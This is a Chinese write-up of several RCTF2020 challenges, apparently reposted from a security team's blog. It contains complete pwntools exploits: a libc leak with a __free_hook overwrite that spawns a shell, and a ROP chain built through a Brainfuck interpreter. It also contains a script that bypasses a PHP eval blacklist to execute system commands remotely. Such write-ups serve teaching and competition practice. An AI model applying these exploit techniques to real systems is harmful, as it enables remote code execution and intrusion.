前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >RCTF2020 部分Writeup

RCTF2020 部分Writeup

作者头像
Timeline Sec
发布2020-06-10 11:26:23
1.1K0
发布2020-06-10 11:26:23
举报
文章被收录于专栏:Timeline SecTimeline SecTimeline Sec

01 PWN

note

首先show函数里有一个数组越界,输入-5可以泄露从$rebase(0x4008)开始0x996个bytes

stdou,stdin和stderr都在这个范围之内

而后门函数同样也有数组越界,除此之外还可以溢出32个字节(当然我没有用到)

首先我们先show(-5)把Libc给泄露出来,然后在rebase(0x4080)处伪造一个指向__free_hook的结构,并在rebae(0x4098)处写上/bin/sh的地址,先该hook再delete 1即可

from pwn import *

r = remote("124.156.135.103", 6004)
#r = process("./note/note")

context(log_level = 'debug', arch = 'amd64', os = 'linux')
DEBUG = 0
if DEBUG:
    gdb.attach(r, 
    '''    
    where
    ''')

elf = ELF("./note/note")
libc = ELF('./libc/libc-2.29.so')
one_gadget_19 = [0xe237f, 0xe2383, 0xe2386, 0x106ef8]

menu = "Choice: "
def add(index, choice):
    r.recvuntil(menu)
    r.sendline('1')
    r.recvuntil("Index: ")
    r.sendline(str(index))
    r.recvuntil("Size: ")
    r.sendline(str(choice))

def delete(index):
    r.recvuntil(menu)
    r.sendline('2')
    r.recvuntil("Index: ")
    r.sendline(str(index))

def edit(index, content):
    r.recvuntil(menu)
    r.sendline('4')
    r.recvuntil("Index: ")
    r.sendline(str(index))
    r.recvuntil("Message: 
")
    r.send(content)

def backdoor(index, content):
    r.recvuntil(menu)
    r.sendline('7')
    r.recvuntil("Index: ")
    r.sendline(str(index))
    r.recvuntil("Message: 
")
    r.send(content)

def show(index):
    r.recvuntil(menu)
    r.sendline('3')
    r.recvuntil("Index: ")
    r.sendline(str(index))

def super_note(content):
    r.recvuntil(menu)
    r.sendline('6')
    r.recvuntil("Give a super name: ")
    r.sendline(content)

add(0, 0)
show(-5)
r.recv(0x18)
libc.address = u64(r.recv(8)) - libc.sym['_IO_2_1_stdout_']
success("libc:"+hex(libc.address))
stdin = libc.sym['_IO_2_1_stdin_']
stdout = libc.sym['_IO_2_1_stdout_']
stderr = libc.sym['_IO_2_1_stderr_']
free_hook = libc.sym['__free_hook']
system = libc.sym['system']
bin_sh = libc.search('/bin/sh').next()
r.recv(0x58)
heap_base = u64(r.recv(8)) - 0x260
success("heap:"+hex(heap_base))
payload = p64(0xFFFFFFFFFFFFFFFF)*2+p64(1)+p64(stdout)+p64(0)+p64(stdin)+p64(0)+p64(stderr)+p64(0)*7+p64(free_hook)+p64(8)+p64(0xFF)+p64(bin_sh)
backdoor(-5, payload)

edit(0, p64(system)+'
')
delete(1)
r.sendline('ls')
r.interactive()

bf

这道题的漏洞也算是数组越界吧!

程序是用c++写的,调用关系很复杂。大致看了一下是brainfuck的解释器,动态调试可以发现输入会读到rbp-0x30开始的位置,并且在rbp-0x40处有指向rbp-0x30的指针,而brainfuck开始解释时指针指向rbp-0x440,并且从rbp-0x440到rbp-0x40处的值均为0。

因此用'+[>+].'这么一串bf代码就能泄露出rbp-0x30的最低一个byte,而bf代码执行完会打印出rbp-0x40存放指针中的值,并且之后输入y继续读入bf的代码也是rbp-0x40处指向的内存,这就有了一个有限任意栈读写的漏洞,我们只需要先把rbp和libc泄露出来,然后把ROPchain读进去,把main的返回地址改成leave进行栈迁移就能获得flag

注意最后要把rbp-0x40处的指针恢复,否则会执行free的syscall而使得程序强制退出

from pwn import *




r = remote("124.156.135.103", 6002)
#r = process("./bf/bf")
context.log_level = 'debug'
DEBUG = 0
if DEBUG:
    gdb.attach(r, 
    '''
    b *$rebase(0x1320)
    b *$rebase(0x1CDB)
    b *$rebase(0x1D96)
    c
    ''')
elf = ELF("./bf/bf")
libc = ELF("./bf/libc.so.6")




r.recvuntil("enter your code:
")
r.sendline('+[>+].')
r.recvuntil("running....
")
leak = ord(r.recv(1))




r.recvuntil("want to continue?
")
r.send('y')
r.recvuntil("enter your code:
")
r.sendline('+[>+],')
r.recvuntil("running....
")
num = leak-1+0x20
r.send(chr(num))
r.recvuntil("done! your code:")
r.recv(1)
rbp = u64(r.recvuntil('
').strip().ljust(8, ''))
success("rbp:"+hex(rbp))

r.recvuntil("want to continue?
")
r.send('y')
r.recvuntil("enter your code:
")
r.sendline('+[>+],')
r.recvuntil("running....
")
num = leak-1+0x20+0x18
r.send(chr(num))
r.recvuntil("done! your code: ")
libc.address = u64(r.recvuntil('
').strip().ljust(8, '')) - 231 - libc.sym['__libc_start_main']
success("libc:"+hex(libc.address))
pop_rdi = libc.address + 0x000000000002155f
pop_rsi = libc.address + 0x0000000000023e6a
pop_rdx = libc.address + 0x0000000000001b96
leave = libc.address + 0x0000000000054803
pop_rsp = libc.address + 0x0000000000003960
open = libc.sym['open']
read = libc.sym['read']
write = libc.sym['write']

r.recvuntil("want to continue?
")
r.send('y')
r.recvuntil("enter your code:
")
r.sendline('+[>+],')
r.recvuntil("running....
")
num = leak-1+0x28
r.send(chr(num))
#r.send(chr(num))

offset = 0x7fff715bf840 - 0x7fff715bf320
ROP_addr = rbp - offset
flag_addr = ROP_addr + 0x98
ROP = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open)
ROP += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x50) + p64(read)
ROP += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x50) + p64(write)
ROP += './flag'
r.recvuntil("want to continue?
")
r.send('y')
r.recvuntil("enter your code:
")
r.sendline('+[,>+],ÿ'+p64(ROP_addr-8)+p64(leave))
r.recvuntil("running....
")
for i in range(len(ROP)):
    r.send(ROP[i:i+1])
for i in range(0x400-len(ROP)):
    r.send(chr(0x90))
num=leak-1
r.send(chr(num))
r.send(chr(num))

r.recvuntil("want to continue?
")
r.send('n')
r.interactive()

02 Misc

animal

首先拿到了一个 7z 压缩包和一个 messge 文件,内有一段代码,是 arduino 代码

可以在 https://www.tinkercad.com/circuits模拟编译运行

通过 led 闪烁的频率,我们可以得到 loop 后的结果

1. -----.--.-----.--.

2. -----.-----.--.-----.

3. -----.--.--.

4. --.

5. -----.--.-----.

6. --.--.--.

7. -----.-----.-----.--.--.

看着像莫斯,尝试用以下方法翻译

1 -.-. C

2 --.- Q

3 -.. D

4 . E

5 -.- K

6 ... S

7 ---.. 8

得出结果 CQCQCQDEKDEK88SKSK

这个玩意儿一开始有点摸不着头脑,后面逐步了解到是业余无线电的一种呼号方式

CQCQCQ 是问候语 标识寻找人开始

DEKDEK 是我发完了 你来发

SKSK 是 seeyou

真正有用的就是个 88

参考使用方法

得到压缩包解密密码 Love and kisses

解压后得到一个蓝牙流量包和一张二维码

事实证明二维码是个烟雾弹,没有有用信息

真正解题是看流量包里的一个名为 secret.jpg 的图片

通过 steghide 工具可以从图片中提取出一个 flag.txt 的文件

是空密码 直接执行 steghide extract -sf secret.jpg 即可

flag.txt 内是一串 base64 加密的密文,解密后得到一个网址

https://mzl.la/2WEjn5a

是 emojy 加密的密文,直接用网站的解密功能,逐个爆破尝试即可

成功如下:

03 Crypto

easy_f(x)

发现 f(x) = (check + k1*x^1 + k2*x^2 + ... + k512*x^512) mod M

知道每一个 x 与 f(x) 的值,未知数有我们要求出的 check 以及 k1 ~ k512。因此解这个 513 元同余方程组需要 513 组数据。

直接解 513 维行列式会很慢,题目限时 300s,我电脑得 1000s 才能算完两个行列式。

发现本题中 delta 其实是旋转后的范德蒙行列式。delta_0 是旋转后的范德蒙行列式的变形,第一行不是全 1,而是 r[i]。可以按第一行展开,余子式中将每一列除以该列元的一次方,可化为范德蒙行列式。计算速度会快非常多,我电脑 150s 左右就算完了。

完整脚本:

import hashlib
import itertools
import string
import gmpy2
from pwn import *


def PoW(ends, res):
   for x in itertools.product(string.ascii_letters+string.digits, repeat=4):
       nonce = ''.join(x)
       if hashlib.sha256((nonce+ends)).hexdigest() == res:
           return nonce


sh = remote('124.156.140.90', 2333)
s1 = sh.recvuntil('Give me XXXX:')
re_res = re.search(r'sha256(XXXX+([0-9a-zA-Z]{16})) == ([0-9a-z]{64})', s1)
ends = re_res.group(1)
res = re_res.group(2)
print 'ends:%s hash:%s' % (ends, res)
nonce = PoW(ends, res)
print 'Find nonce: %s' % nonce
sh.sendline(nonce)
print 'PoW finish.'


s2 = sh.recvuntil('How many f(x) do you want?')
M_res = re.search(r'M=([0-9]+)', s2)
M = int(M_res.group(1))
print 'M: %s' % M
fx_num = 513
sh.sendline(str(fx_num))
x = []
r = []
s3 = sh.recvline()
for i in range(fx_num):
   s3 = sh.recvline(keepends=True)
   fx_res = re.search(r'f(([0-9]+))=([0-9]+)', s3)
   x.append(int(fx_res.group(1)))
   r.append(int(fx_res.group(2)))


print 'Start calc...'
delta = 1
for i in range(1, fx_num):
   for j in range(0, i):
       t = x[i] - x[j]
       delta = (delta * t) % M


delta_0 = 0
for i in range(fx_num):
   tmp_x = [_ for _ in x]
   tmp_x.pop(i)
   yuzishi = -r[i] if (i+1+1) % 2 else r[i]
   for j in range(fx_num-1):
       yuzishi = (yuzishi * tmp_x[j]) % M
   for j in range(1, fx_num-1):
       for k in range(0, j):
           t = tmp_x[j] - tmp_x[k]
           yuzishi = (yuzishi * t) % M
   delta_0 = (delta_0 + yuzishi) % M


delta_inverse = gmpy2.invert(delta, M)
check = delta_inverse * delta_0 % M
print 'check: ', check
sh.sendline(str(check))
s4 = sh.recvrepeat()
print s4

04 Block Chain

roiscoin

此题存在非预期解,其中关键函数有

   function payforflag() onlyOwner {
       require(BalanceOf[msg.sender] >= 2000);
       emit SendFlag(msg.sender);
       selfdestruct(msg.sender);
   }

       function lockInGuess(uint8 n) public payable {
       require(guesser == 0);
       require(msg.value == 1 ether);

       guesser = msg.sender;
       guess = n;
       settlementBlockNumber = block.number + 1;
   }

   function settle() public {
       require(msg.sender == guesser);
       require(block.number > settlementBlockNumber);

       uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 2;

       if (guess == answer) {
           WinCount[msg.sender] += 1;
           BalanceOf[msg.sender] += 1000;
       } else {
           FailCount[msg.sender] += 1;
       }
       ...
   }

   function beOwner() payable {
       require(address(this).balance > 0);
       if(msg.value >= address(this).balance){
           owner = msg.sender;
       }
   }

调用 lockInGuess 传入一个数字,再调用 settle 去验证数字是否与一个随机数相同。但是这里随机数的范围是 0 和 1(因为%2),所以可以直接爆破,只要成功两次即可,概率为 25%。

然后 beOwner 函数存在非预期解,当合约余额为 0 时,在调用 beOwner 时携带任意金额即可满足 msg.value = this.balance,因此可以直接成为 owner,也就可以 payforflag。

05 Web

Calc

一个简单的计算页面,输入表达式输出结果。直接访问 calc.php 可以获得源码,关键点如下:

$str = $_GET['num'];
$blacklist = ['[a-z]', '[-ÿ]', 's',"'", '"', '`', '[', ']','$', '_', '\\','^', ','];
foreach ($blacklist as $blackitem) {
   if (preg_match('/' . $blackitem . '/im', $str)) {
       die("what are you want to do?");
   }
}
@eval('echo '.$str.';');

最终目的就是通过 eval 执行命令。但过滤了字母、$、引号、异或等。

通过响应头发现 php 版本是 7.4。PHITHON 师傅的“无字母数字webshell之提高篇”(https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html)中有提到,可以通过 ('phpinfo')(); 来执行函数,第一个括号中可以是任意 PHP 表达式。

实践可以发现,两个括号中都可以是表达式,第一个括号中是函数,第二个就是参数了。函数嵌套就是 (f1)(f2(arg))。但这种可变函数不能用于如 echo、include、eval 等语言结构。

0/0 结果为 INF,再通过 (0/0).(0) 得到 INF 的字符串,然后 ((0/0).(0)){0} 得到 N,((0/0).(5)){3} 得到数字 0-9 的字符。还可通过 ((99**999).(0)){2} 得到 I、F,((99**99).(0)){15} 得到 E,((-1).(0)){0} 得到 -。然后就可以通过不断地:取反~、和运算&、或运算|,得到全部 256 个字符。

之后就可以执行 system 命令了。发现根目录有 readflag 以及 flag,要用 readflag 读取 flag。但执行后有个运算挑战需要交互,无果。尝试反弹 shell,发现出口流量被拦,不能主动发起连接。

查找到有原型题目:https://www.secpulse.com/archives/105333.html

readflag 中 ualarm 函数通过信号会结束进程,要通过管道的方式获得当前输出并计算然后输入。

上传上面 wp 中的 perl 文件时,本想通过 system(_POST[1]) 的方式来简化 payload 以及 GET 请求的 URI 上限。但 _POST[1] 是字符串就不能再当成变量,无果。因此使用 echo 分多次往 tmp 目录里写 perl 文件,由于 URI 的上限,对 perl 脚本进行了少许修改。并且要注意 echo 中的转义。

use strict;
use IPC::Open3;
my $pid = open3(\*CHLD_IN,
\*CHLD_OUT,
\*CHLD_ERR, "/readflag");
my $r;
$r = <CHLD_OUT>;
print "$r";
$r = <CHLD_OUT>;
print "$r";
$r = eval "$r";
print "$r\n";

print CHLD_IN "$r\n";

$r = <CHLD_OUT>;
print "$r";
$r = <CHLD_OUT>;
print "$r";

有时候因为 perl 脚本运行时间问题,执行失败,多试几次就好。

完整脚本:

import copy
import requests

book = {
   ord('0'): '((0/0).(0)){3}',
   ord('1'): '((0/0).(1)){3}',
   ord('2'): '((0/0).(2)){3}',
   ord('3'): '((0/0).(3)){3}',
   ord('4'): '((0/0).(4)){3}',
   ord('5'): '((0/0).(5)){3}',
   ord('6'): '((0/0).(6)){3}',
   ord('7'): '((0/0).(7)){3}',
   ord('8'): '((0/0).(8)){3}',
   ord('9'): '((0/0).(9)){3}',
   ord('N'): '((0/0).(0)){0}',
   ord('A'): '((0/0).(0)){1}',
   ord('I'): '((99**999).(0)){0}',
   ord('F'): '((99**999).(0)){2}',
   ord('E'): '((99**99).(0)){15}',
   ord('-'): '((-1).(0)){0}'
}

while len(book) != 256:
   # &
   tmp_book = copy.deepcopy(book)
   for i in tmp_book:
       for j in tmp_book:
           tmp = i & j
           if tmp not in book:
               s = '(%s)&(%s)' % (tmp_book[i], tmp_book[j])
               book[tmp] = s
   # |
   tmp_book = copy.deepcopy(book)
   for i in tmp_book:
       for j in tmp_book:
           tmp = i | j
           if tmp not in book:
               s = '(%s)|(%s)' % (tmp_book[i], tmp_book[j])
               book[tmp] = s
   # ~
   tmp_book = copy.deepcopy(book)
   for i in tmp_book:
       tmp = i ^ 255
       if tmp not in book:
           s = '~(%s)' % (tmp_book[i])
           book[tmp] = s

# print(len(book))
# for x in book:
#     print(x, chr(x), book[x])

def get_payload(target):
   payload = ''
   for x in target:
       payload += '(%s).' % book[ord(x)]
   return payload[:-1]

with open('crack.pl', 'r') as f:
   file_content = [_.strip() if _ != '
' else _ for _ in f.readlines()]
for i, line in enumerate(file_content):
   if '\' in line:
       file_content[i] = line.replace('\', '\\')

file_name = '/tmp/a.pl'
system_payload = get_payload('system')
url = 'http://124.156.140.90:8081/calc.php'

for line in file_content:
   s = "echo '%s'>>%s" % (line, file_name)
   payload = '(%s)(%s)' % (system_payload, get_payload(s))
   r = requests.get(url=url, params={'num': payload})

# s = "cat %s" % file_name
# payload = '(%s)(%s)' % (system_payload, get_payload(s))
# r = requests.get(url=url, params={'num': payload})
# print(r.text)

s = "perl %s" % file_name
payload = '(%s)(%s)' % (system_payload, get_payload(s))
r = requests.get(url=url, params={'num': payload})
print(r.text)

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-06-04,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Timeline Sec 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档